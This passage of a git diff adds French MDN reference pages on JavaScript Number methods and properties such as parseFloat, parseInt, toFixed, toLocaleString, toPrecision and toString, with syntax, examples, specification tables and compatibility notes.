{{Compat("javascript.builtins.Number.NEGATIVE_INFINITY")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.POSITIVE_INFINITY")}}
    • +
  • {{jsxref("Number.isFinite()")}}
    • +
  • {{jsxref("Infinity", "Infinity")}}
    • +
  • {{jsxref("isFinite", "isFinite()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.html b/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.html new file mode 100644 index 0000000000..85059f92a3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.html @@ -0,0 +1,84 @@ +--- +title: Number.parseFloat() +slug: Web/JavaScript/Reference/Objets_globaux/Number/parseFloat +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Number + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat +--- +
{{JSRef}}
+ +

La méthode Number.parseFloat() analyse et convertit une chaîne de caractères en un nombre flottant. Cette méthode possède un comportement identique à {{jsxref("parseFloat")}} et fait partie d'ECMAScript 2015 (dans le but de « modulariser » les méthodes globales).

+ +
{{EmbedInteractiveExample("pages/js/number-parsefloat.html")}}
+ + + +

Syntaxe

+ +
Number.parseFloat(chaîne)
+ +

Paramètres

+ +
+
chaîne
+
Une chaîne de caractères qu'on souhaite convertir en nombre flottant.
+
+ +

Valeur de retour

+ +

Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère de la chaîne ne peut pas être converti en un nombre, la  valeur {{jsxref("NaN")}} sera renvoyée.

+ +

Description

+ +

Cette méthode possède les mêmes fonctionnalités que la fonction globale {{jsxref("parseFloat", "parseFloat()")}} :

+ +
Number.parseFloat === parseFloat; // true
+
+ +

Cette méthode fait partie d'ECMAScript 2015 et notamment de la modularisation de certaines fonctions globales. Pour plus de détails et d'exemples, voir {{jsxref("parseFloat", "parseFloat()")}}.

+ +

Prothèse d'émulation (polyfill)

+ +
if (Number.parseFloat === undefined) {
+    Number.parseFloat = parseFloat;
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.parseFloat")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Number")}} auquel appartient cette fonction.
    • +
  • La méthode globale {{jsxref("parseFloat")}}.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/parseint/index.html b/files/fr/web/javascript/reference/global_objects/number/parseint/index.html new file mode 100644 index 0000000000..60eaae2d48 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/parseint/index.html @@ -0,0 +1,84 @@ +--- +title: Number.parseInt() +slug: Web/JavaScript/Reference/Objets_globaux/Number/parseInt +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Number + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt +--- +
{{JSRef}}
+ +

La méthode Number.parseInt() analyse et convertit une chaine de caractères, fournie en argument, en un entier dans la base souhaitée.

+ +
{{EmbedInteractiveExample("pages/js/number-parseint.html")}}
+ + + +

Syntaxe

+ +
Number.parseInt(chaîne [, base])
+ +

Paramètres

+ +
+
chaîne
+
La valeur à convertir. Si chaine n'est pas une chaîne de caractères, elle sera convertie auparavant. Les blancs qui préfixent la chaîne sont ignorés.
+
base {{optional_inline}}
+
Paramètre optionnel. Un entier représentant la base dans laquelle est représentée la valeur de la chaîne. Il faut toujours spécifier ce paramètre. Cela permet que le code ne soit pas ambigü et permet de garantir un comportement prévisible. En effet les différentes implémentations peuvent fournir des résultats différents lorsque la base n'est pas spécifiée.
+
+ +

Valeur de retour

+ +

Un entier construit à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère ne permet pas de conversion numérique, c'est la valeur {{jsxref("NaN")}} qui sera renvoyée.

+ +

Description

+ +

Voir la page {{jsxref("Objets_globaux/parseInt", "parseInt()")}} pour plus de détails et d'exemples. Cette méthode se comporte de façon identique à la fonction globale {{jsxref("Objets_globaux/parseInt", "parseInt()")}} et fait partie d'ECMAScript 2015 (dans le but de « modulariser » les méthodes globales) et on aura :

+ +
Number.parseInt === parseInt; // true
+ +

Prothèse d'émulation (polyfill)

+ +

Si on souhaite bénéficier de cette fonction dans un environnement qui n'en dispose pas, on pourra donc l'émuler de la façon suivante :

+ +
if(Number.parseInt === undefined) {
+  Number.parseInt = parseInt;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.parseint', 'Number.parseInt')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.parseInt")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Number")}} auquel appartient cette fonction.
    • +
  • La méthode {{jsxref("Objets_globaux/parseInt","parseInt()")}} de l'objet global.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.html b/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.html new file mode 100644 index 0000000000..dd0d9cc01c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.html @@ -0,0 +1,100 @@ +--- +title: Number.POSITIVE_INFINITY +slug: Web/JavaScript/Reference/Objets_globaux/Number/POSITIVE_INFINITY +tags: + - JavaScript + - Number + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY +--- +
{{JSRef}}
+ +

La propriéte Number.POSITIVE_INFINITY représente l'infini (positif).

+ +
{{EmbedInteractiveExample("pages/js/number-positive-infinity.html")}}
+ + + +

{{js_property_attributes(0,0,0)}}

+ +

Description

+ +

La valeur de Number.POSITIVE_INFINITY est identique à la valeur de la propriété de l'objet global {{jsxref("Infinity")}}.

+ +

Cette valeur possède un comportement légèrement différent de l'infini au sens mathématique :

+ +
    +
  • Tout valeur positive, y compris POSITIVE_INFINITY, multipliée par  POSITIVE_INFINITY sera égale à POSITIVE_INFINITY.
    • +
  • Toute valeur négative, y compris {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, multipliée par POSITIVE_INFINITY sera égale à NEGATIVE_INFINITY.
    • +
  • Zéro multiplié par POSITIVE_INFINITY sera égal à {{jsxref("NaN")}}.
    • +
  • NaN multiplié par POSITIVE_INFINITY sera égal à NaN.
    • +
  • POSITIVE_INFINITY, divisé par n'importe quelle valeur négative, à l'exception de NEGATIVE_INFINITY, sera égal à NEGATIVE_INFINITY.
    • +
  • POSITIVE_INFINITY, divisé par n'importe quelle valeur positive, à l'exception de POSITIVE_INFINITY, sera égal à POSITIVE_INFINITY.
    • +
  • POSITIVE_INFINITY, divisé par NEGATIVE_INFINITY ou POSITIVE_INFINITY, sera égal NaN.
    • +
  • Tout nombre positif divisé par POSITIVE_INFINITY sera égal au zéro positif.
    • +
  • Tout nombre négatif divisé par POSITIVE_INFINITY sera égal au zéro négatif.
    • +
+ +

Il est possible d'utiliser la propriété Number.POSITIVE_INFINITY pour faire un test d'erreur sur une valeur qu'on attendait finie. Cependant, la méthode {{jsxref("isFinite")}} sera plus appropriée dans ce cas.

+ +

Number.POSITIVE_INFINITY est une propriété statique de {{jsxref("Number")}} et il n'est donc pas nécessaire de créer un objet {{jsxref("Number")}} afin d'utiliser cette propriété.

+ +

Exemple

+ +

Utiliser POSITIVE_INFINITY

+ +

Dans l'exemple qui suit, on affecte une valeur plus grande que la valeur maximale à la variable grosNombre. Lors de l'exécution de l'instruction if, grosNombre aura la valeur Infinity, pour continuer, on met à jour grosNombre avec une valeur plus acceptable.

+ +
var grosNombre = Number.MAX_VALUE * 2
+if (grosNombre == Number.POSITIVE_INFINITY) {
+ grosNombre = renvoyerUnNombreFini();
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.POSITIVE_INFINITY")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.NEGATIVE_INFINITY")}}
    • +
  • {{jsxref("Number.isFinite()")}}
    • +
  • {{jsxref("Infinity")}}
    • +
  • {{jsxref("isFinite")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/toexponential/index.html b/files/fr/web/javascript/reference/global_objects/number/toexponential/index.html new file mode 100644 index 0000000000..c478bb13fd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/toexponential/index.html @@ -0,0 +1,112 @@ +--- +title: Number.prototype.toExponential() +slug: Web/JavaScript/Reference/Objets_globaux/Number/toExponential +tags: + - JavaScript + - Méthode + - Number + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential +--- +
{{JSRef}}
+ +

La méthode toExponential() renvoie une chaîne de caractères, représentant l'objet Number en notation exponentielle.

+ +
{{EmbedInteractiveExample("pages/js/number-toexponential.html")}}
+ + + +

Syntaxe

+ +
numObj.toExponential([nbChiffresDécimaux])
+ +

Paramètre

+ +
+
nbChiffresDécimaux
+
Paramètre optionnel. Un entier donnant le nombre de chiffres qu'on souhaite avoir dans la partie fractionnaire. Le comportement par défaut considèrera autant de chiffres que nécessaire pour représenter le nombre.
+
+ +

Valeur de retour

+ +

Une chaîne représentant l'objet {{jsxref("Number")}} appelant en notation exponentielle avec un chiffre avant la virgule et arrondi à nbChiffresDécimaux après la virgule.

+ +

Exceptions

+ +
+
{{jsxref("RangeError")}}
+
Cette exception est causée si nbChiffresDécimaux est trop petit ou trop grand. Les valeurs comprises, au sens large, entre 0 et 20 ne causeront pas d'exception {{jsxref("RangeError")}}. Les implémentations peuvent également autorisér des valeurs en dehors de ces bornes.
+
+ +
+
{{jsxref("TypeError")}}
+
Si cette méthode est invoquée pour un objet qui n'est pas un objet Number.
+
+ +

Description

+ +

La valeur renvoyée est une chaîne de caractères correspondant à la représentation du nombre en notation exponentielle. La partie entière est constituée d'un seul chiffre et la partie fractionnaire est composée de nbChiffresDécimaux chiffres. Si l'argument nbChiffresDécimaux est absent, il y aura autant de chiffres dans la partie fractionnaire que nécessaire pour représenter le nombre de façon unique.

+ +

Si la méthode toExponential() est utilisée avec un littéral numérique et que celui-ci ne possède aucun exposant ou séparateur décimal ("."), il faut laisser un ou plusieurs espaces entre le littéral et le point indiquant l'appel de la méthode. Cela permet d'éviter que le point, permettant d'accéder à la méthode, soit confondu avec un séparateur décimal.

+ +

Si un nombre possède plus de chiffres décimaux que nbChiffresDécimaux, le nombre est arrondi au nombre le plus proche, représenté avec nbChiffresDécimaux pour la partie fractionnaire. Voir la discussion sur les arrondis dans la page  de la méthode {{jsxref("Number.toFixed", "toFixed()")}} pour plus de détails, la même méthode est utilisée pour toExponential().

+ +

Exemples

+ +

Utiliser toExponential

+ +
var numObj = 77.1234;
+
+console.log(numObj.toExponential());  // affiche 7.71234e+1
+console.log(numObj.toExponential(4)); // affiche 7.7123e+1
+console.log(numObj.toExponential(2)); // affiche 7.71e+1
+console.log(77.1234.toExponential()); // affiche 7.71234e+1
+console.log(77 .toExponential());     // affiche 7.7e+1
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.toExponential")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toFixed()")}}
    • +
  • {{jsxref("Number.prototype.toPrecision()")}}
    • +
  • {{jsxref("Number.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/tofixed/index.html b/files/fr/web/javascript/reference/global_objects/number/tofixed/index.html new file mode 100644 index 0000000000..d1f0cd48b2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/tofixed/index.html @@ -0,0 +1,116 @@ +--- +title: Number.prototype.toFixed() +slug: Web/JavaScript/Reference/Objets_globaux/Number/toFixed +tags: + - JavaScript + - Méthode + - Number + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed +--- +
{{JSRef}}
+ +

La méthode toFixed() permet de formater un nombre en notation à point-fixe.

+ +
{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}
+ + + +

Syntaxe

+ +
numObj.toFixed([nbChiffres])
+ +

Paramètres

+ +
+
nbChiffres {{optional_inline}}
+
Le nombre de chiffres qu'on souhaite avoir après le séparateur décimal. Cette valeur peut être comprise, au sens large, entre 0 et 20. Les différentes implémentations peuvent éventuellement supporter des valeurs en dehors de cet intervalle. Si l'argument n'est pas utilisé, la valeur par défaut sera 0.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le nombre indiqué avec une notation à point fixe.

+ +

Exceptions causées

+ +
+
{{jsxref("RangeError")}}
+
Cette exception est renvoyée si nbChiffres est trop grand ou trop petit. Les valeurs comprises, au sens large, entre 0 et 100, n'entraîneront pas de RangeError. Les différentes implémentations peuvent ou non supporter des valeurs plus petites et/ou plus grandes.
+
+ +
+
{{jsxref("TypeError")}}
+
Cette exception est renvoyée si cette méthode est invoquée depuis un objet qui n'est pas de type numérique.
+
+ +

Description

+ +

toFixed() renvoie une chaîne de caractères représentant objetNumber sans notation exponentielle et qui possède exactement nbChiffres pour la partie fractionnaire. Le nombre est arrondi si nécessaire et la partie fractionnaire est complétée par des zéros si nécessaire pour obtenir la longueur souhaitée. Si le objetNumber est supérieur ou égal à 1e+21, la méthode utilise simplement {{jsxref("Number.prototype.toString()")}} et renvoie une chaîne en notation exponentielle.

+ +
+

Attention ! En raison du standard IEEE 754 qui est utilisé par JavaScript pour représenter les nombres, tous les nombres décimaux ne sont pas représentés exactement en JavaScript, ce qui peut mener à des résultats inattendus (comme 0.1 + 0.2 === 0.3 qui renvoie false).

+
+ +

Exemples

+ +
var numObj = 12345.6789;
+
+numObj.toFixed();       // Renvoie '12346' : arrondi, aucune partie fractionnaire
+numObj.toFixed(1);      // Renvoie '12345.7' : arrondi ici aussi
+numObj.toFixed(6);      // Renvoie '12345.678900' : des zéros sont ajoutés
+(1.23e+20).toFixed(2);  // Renvoie '123000000000000000000.00'
+(1.23e-10).toFixed(2);  // Renvoie '0.00'
+2.34.toFixed(1);        // Renvoie '2.3'
+-2.34.toFixed(1);       // Renvoie -2.3 (en raison de la précédence des opérateurs,
+                        // les littéraux de nombres négatifs ne renvoient pas de chaînes)
+2.35.toFixed(1);        // Renvoie '2.4' (arrondi supérieur)
+2.55.toFixed(1);        // Renvoie '2.5' (cf. l'avertissement ci-avant)
+(-2.34).toFixed(1);     // Renvoie '-2.3'
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.toFixed")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toExponential()")}}
    • +
  • {{jsxref("Number.prototype.toPrecision()")}}
    • +
  • {{jsxref("Number.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.html b/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.html new file mode 100644 index 0000000000..d05294de7a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.html @@ -0,0 +1,197 @@ +--- +title: Number.prototype.toLocaleString() +slug: Web/JavaScript/Reference/Objets_globaux/Number/toLocaleString +tags: + - Internationalisation + - JavaScript + - Méthode + - Number + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString +--- +
{{JSRef}}
+ +

La méthode toLocaleString() permet de renvoyer une chaîne de caractères représentant un nombre en tenant compte de la locale.

+ +
{{EmbedInteractiveExample("pages/js/number-tolocalestring.html")}}
+ + + +

Les arguments locales et options permettent à l'application de spécifier les options de formatage selon la langue utilisée. Ces arguments ont un effet sur le comportement de la fonction. Les implémentations passées, qui ignoraient les arguments locales et options se basaient uniquement sur l'implémentation pour ce qui concernait la locale et le format.

+ +

Syntaxe

+ +
objetNumber.toLocaleString([locales [, options]])
+ +

Paramètres

+ +

Voir la section compatibilité des navigateurs afin de voir quels navigateurs supportent les arguments locales et options. L'exemple Vérifier le support des arguments locales et options permet de détecter cette fonctionnalité.

+ +
+

Note : L'API ECMAScript Internationalization, implémentée avec Firefox 29, a ajouté l'argument locales à la méthode Number.toLocaleString. Si l'argument vaut undefined,cette méthode renvoie les nombres selon la locale du système d'exploitation, les versions antérieures de Firefox renvoyaient un résultat correspondant à la locale anglaise. Ce changement a été rapporté comme une régression, avec un risque de manque de rétrocompatibilité, avant d'être corrigé avec Firefox 55, voir le bug ({{bug(999003)}}).

+
+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/NumberFormat','Paramètres')}}

+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le nombre indiqué en tenant compte de la locale.

+ +

Exemples

+ +

Utiliser toLocaleString()

+ +

En utilisant la fonction simplement, sans spécifier de locale, la chaîne est formatée dans la locale par défaut et avec des options par défaut.

+ +
var nombre = 3500;
+
+console.log(nombre.toLocaleString()); // Affichera "3 500" pour la locale française
+
+ +

Vérifier le support des arguments locales et options

+ +

Les arguments locales et options ne sont pas supportés par tous les navigateurs. Afin de vérifier qu'une implémentation les prend en charge, on se base sur le fait que les balises de langues incorrectes renvoient une exception{{jsxref("RangeError")}} :

+ +
function testSupporttoLocaleString() {
+    var nombre = 0;
+    try {
+        nombre.toLocaleString("i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+
+ +

Avant ES5.1, il n'était pas nécessaire pour les implémentations de provoquer une erreur d'intervalle si toLocaleString était appelé avec des arguments.

+ +

Afin de vérifier le support pour tous les environnements, y compris ceux qui supportent ECMA-262 avant la version 5.1, on peut tester les fonctionnalités définies dans ECMA-402, directement sur Number.prototype.toLocaleString :

+ +
function toLocaleStringSupportsOptions() {
+  return !!(typeof Intl == 'object' && Intl && typeof Intl.NumberFormat == 'function');
+}
+
+ +

Cela permet de tester la présence d'un objet global Intl, de vérifier que celui-ci n'est pas null et qu'il a une méthode NumberFormat.

+ +

Utiliser l'argument locales

+ +

Cet exemple illustre les variations possibles entre les différents formats localisés. Afin que le format de langue utilisé soit celui de votre utilisateur, assurez-vous de fournir la langue utilisée (ainsi que des langues de secours) en utilisant l'argument locales :

+ +
var nombre= 123456.789;
+
+// Pour la locale allemande, on utilise un point comme séparateur
+// pour les milliers et une virgule comme séparateur décimal
+console.log(nombre.toLocaleString("de-DE"));
+// → 123.456,789
+
+// Les locales arabes, dans la plupart des pays arabophones, utilisent
+// les chiffres arabes
+console.log(nombre.toLocaleString("ar-EG"));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// En Inde, on utilise des séparateurs de milliers/lakh/crore
+console.log(nombre.toLocaleString("en-IN"));
+// → 1,23,456.789
+
+// La clé d'extension nu indique un système numérique, ici le système chinois décimal
+console.log(nombre.toLocaleString("zh-Hans-CN-u-nu-hanidec"));
+// → 一二三,四五六.七八九
+
+// quand on souhaite utiliser un langage qui n'est pas supporté, on peut
+// inclure un langage de secours. Exemple ici avec le balinais et l'indonésien
+console.log(nombre.toLocaleString(["ban", "id"]));
+// → 123.456,789
+
+ +

Utiliser l'argument options

+ +

Les résultats fournis par toLocaleString peuvent être déclinés en utilisant l'argument options :

+ +
var nombre = 123456.789;
+
+// on formate selon une devise
+console.log(nombre.toLocaleString("de-DE", {style: "currency", currency: "EUR"}));
+// → 123.456,79 €
+
+// le yen japonais ne possède pas de centimes
+console.log(nombre.toLocaleString("ja-JP", {style: "currency", currency: "JPY"}))
+// → ￥123,457
+
+// on se limite à trois chiffres significatifs
+console.log(nombre.toLocaleString("en-IN", {maximumSignificantDigits: 3}));
+// → 1,23,000
+
+// on utilise la langue du système pour la mise en
+// forme des nombres
+var num = 30000.65;
+console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
+// → "30,000.65" quand l'anglais est la langue par défaut
+// → "30.000,65" quand l'allemand est la langue par défaut
+// → "30 000,65" quand le français est la langue par défaut
+
+ +

Performance

+ +

Lors du formatage de beaucoup de nombres, il est préférable de créer un objet {{jsxref("NumberFormat")}} et d'utiliser sa méthode {{jsxref("NumberFormat.format")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 1.0')}} 
{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.toLocaleString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/toprecision/index.html b/files/fr/web/javascript/reference/global_objects/number/toprecision/index.html new file mode 100644 index 0000000000..236a7bb51e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/toprecision/index.html @@ -0,0 +1,105 @@ +--- +title: Number.prototype.toPrecision() +slug: Web/JavaScript/Reference/Objets_globaux/Number/toPrecision +tags: + - JavaScript + - Méthode + - Number + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision +--- +
{{JSRef}}
+ +

La méthode toPrecision() renvoie une chaîne de caractères représentant un nombre avec la précision donnée.

+ +
{{EmbedInteractiveExample("pages/js/number-toprecision.html")}}
+ +

Syntaxe

+ +
numObj.toPrecision([précision])
+ +

Paramètre

+ +
+
précision
+
Paramètre optionnel. Un entier spécifiant le nombre de chiffres significatifs.
+
+ +

Valeur de retour

+ +

Cette méthode renvoie une chaîne de caractères représentant l'objet {{jsxref("Number")}} en notation à point fixe ou en notation exponentielle, arrondi avec un nombre de chiffres significatifs égal à précision. Le principe utilisé pour les arrondis est celui décrit dans la page de la méthode {{jsxref("Number.prototype.toFixed()")}}.

+ +

Si l'argument précision n'est pas utilisé, la méthode aura le même effet que {{jsxref("Number.prototype.toString()")}}. Si cet argument n'est pas un nombre entier, on prendra le nombre entier le plus proche.

+ +

Exceptions

+ +
+
{{jsxref("RangeError")}}
+
Si précison n'est pas compris, au sens large, entre 1 et 100, on aura une exception RangeError. Les implémentations peuvent supporter des valeurs supérieures et/ou inférieures. Le standard ECMA-262 ne nécessite qu'une précision allant jusqu'à 21 chiffres significatifs.
+
+ +

Exemples

+ +
var objetNumber = 5.123456;
+console.log(objetNumber.toPrecision());  //affiche "5.123456"
+console.log(objetNumber.toPrecision(5)); //affiche "5.1235"
+console.log(objetNumber.toPrecision(2)); //affiche "5.1"
+console.log(objetNumber.toPrecision(1)); //affiche "5"
+
+numObj = 0.000123;
+
+console.log(numObj.toPrecision());    // affiche "0.000123"
+console.log(numObj.toPrecision(5));   // affiche "0.00012300"
+console.log(numObj.toPrecision(2));   // affiche "0.00012"
+console.log(numObj.toPrecision(1));   // affiche "0.0001"
+
+// dans certaines circonstances, on peut avoir une notation exponentielle
+console.log((1234.5).toPrecision(2)); // "1.2e+3"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.toPrecision")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toFixed()")}}
    • +
  • {{jsxref("Number.prototype.toExponential()")}}
    • +
  • {{jsxref("Number.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/tosource/index.html b/files/fr/web/javascript/reference/global_objects/number/tosource/index.html new file mode 100644 index 0000000000..da204d2ea4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/tosource/index.html @@ -0,0 +1,57 @@ +--- +title: Number.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Number/toSource +tags: + - JavaScript + - Méthode + - Number + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

La méthode toSource() permet de renvoyer une chaîne de caractère représentant le code source de l'objet.

+ +

Syntaxe

+ +
objetNumber.toSource();
+Number.toSource();
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant le code source de l'objet.

+ +

Description

+ +

La méthode toSource() renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("Number")}}, toSource() renvoie la chaîne suivante, indiquant que le code source n'est pas disponible : + + 
    function Number() {
+    [native code]
+}
+
    +
    • +
  • Pour les instances de {{jsxref("Number")}}, toSource() renvoie une chaîne représentant le code source de l'objet.
    • +
+ +

Cette méthode est généralement appelée par du code interne au moteur JavaScript et n'est pas utilisée dans des scripts JavaScript.

+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.toSource")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/tostring/index.html b/files/fr/web/javascript/reference/global_objects/number/tostring/index.html new file mode 100644 index 0000000000..d7f9af286e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/tostring/index.html @@ -0,0 +1,120 @@ +--- +title: Number.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Number/toString +tags: + - JavaScript + - Méthode + - Number + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractère représentant l'objet Number.

+ +
{{EmbedInteractiveExample("pages/js/number-tostring.html")}}
+ + + +

Syntaxe

+ +
numObj.toString([base])
+ +

Paramètre

+ +
+
base
+
Paramètre optionnel. Un entier compris entre 2 et 36 qui indique la base du système numérique à utiliser pour représenter la valeur.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant l'objet {{jsxref("Number")}}.

+ +

Exception

+ +
+
{{jsxref("RangeError")}}
+
+

Si toString() reçoit une base qui n'est pas comprise entre 2 et 36, une exception RangeError est levée.

+
+
+ +

Description

+ +

L'objet {{jsxref("Number")}} surcharge la méthode toString() de {{jsxref("Object")}} et n'hérite donc pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets Number, la méthode toString() renvoie une représentation du nombre, dans une base donnée, en une chaîne de caractères.

+ +

La méthode toString() analyse son premier argument et tente de renvoyer une chaîne de caractères représentant le nombre en une base donnée. Pour les bases supérieures à 10, les lettres de l'alphabet sont utilisées pour représenter les numéraux supérieurs à 9. Par exemple, pour les nombres hexadécimaux (en base 16), les lettres a à f sont utilisées.

+ +

Si la base n'est pas spécifiée, on utilisera la base 10 par défaut.

+ +

